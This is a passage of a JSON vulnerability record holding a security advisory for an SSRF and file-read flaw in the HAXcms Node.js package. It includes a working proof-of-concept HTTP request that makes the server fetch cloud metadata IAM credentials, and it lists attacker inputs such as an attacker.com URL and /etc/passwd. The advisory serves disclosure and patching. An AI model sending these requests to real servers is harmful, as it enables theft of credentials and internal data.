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This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.\n\nThe data flow is as follows:\n- User input (`build.files`) is processed via `object_to_array()` into a PHP array  \n- Assigned to `$filesToDownload` in `Operations.php` (line 2626)  \n- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled  \n\nIn `HAXCMSFile.php` (line 30), the following occurs:\n```php\nfile_get_contents($upload['tmp_name']);\n```\n\nHere, tmp_name is attacker-controlled and may contain:\n\n- External URLs (`http://attacker.com`)\n- Internal services (`http://127.0.0.1`)\n- Cloud metadata endpoints (`http://169.254.169.254`)\n- Local file paths (`/etc/passwd`, `/proc/self/environ`)\n\nThe bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.\n\nThere are no restrictions on:\n\n- URL schemes (`http`, `file`, `gopher`, etc.)\n- Destination IP ranges (internal, loopback, metadata services)\n- Response content\n\nAll fetched content is written to:\n```\nsites/<sitename>/files/<filename>\n```\nand is accessible via the web.\n\n### PoC\nPrerequisites:\n\n- Authenticated session (default credentials: `admin/admin` on fresh installs)\n- Valid JWT and CSRF token\n\nStep 1: Log in and capture JWT + CSRF token\n\nStep 2: Send crafted request:\n```\nPOST /createSite HTTP/1.1\nHost: target\nAuthorization: Bearer [JWT]\nX-CSRF-Token: [TOKEN]\nContent-Type: application/json\n\n{\n  \"site\": {\n    \"name\": \"poc\"\n  },\n  \"build\": {\n    \"files\": {\n      \"poc.txt\": {\n        \"tmp_name\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n      }\n    }\n  }\n}\n```\n\nStep 3: Retrieve response:\n```\nGET /sites/poc/files/poc.txt\n```\n\nThe response will contain the fetched content (e.g., cloud credentials or internal service data).\n\n### Impact\n\n- SSRF enabling access to internal network services\n- Arbitrary file read via local filesystem paths\n- Cloud credential exposure through metadata endpoints\n- Data exfiltration via web-accessible file storage\n\nAny authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.","state":0,"publishedAt":"2026-05-19T14:44:20+00:00","modifiedAt":"2026-09-10T03:50:55.2912599+00:00","affected":[{"ecosystem":"npm","name":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"26.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/haxtheweb/issues/security/advisories/GHSA-q862-gcgq-5m6g","https://nvd.nist.gov/vuln/detail/CVE-2026-46393","https://github.com/haxtheweb/issues"],"sourceUrl":"https://github.com/advisories/GHSA-q862-gcgq-5m6g","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-q862-gcgq-5m6g","identifiers":["GHSA-q862-gcgq-5m6g","CVE-2026-46393"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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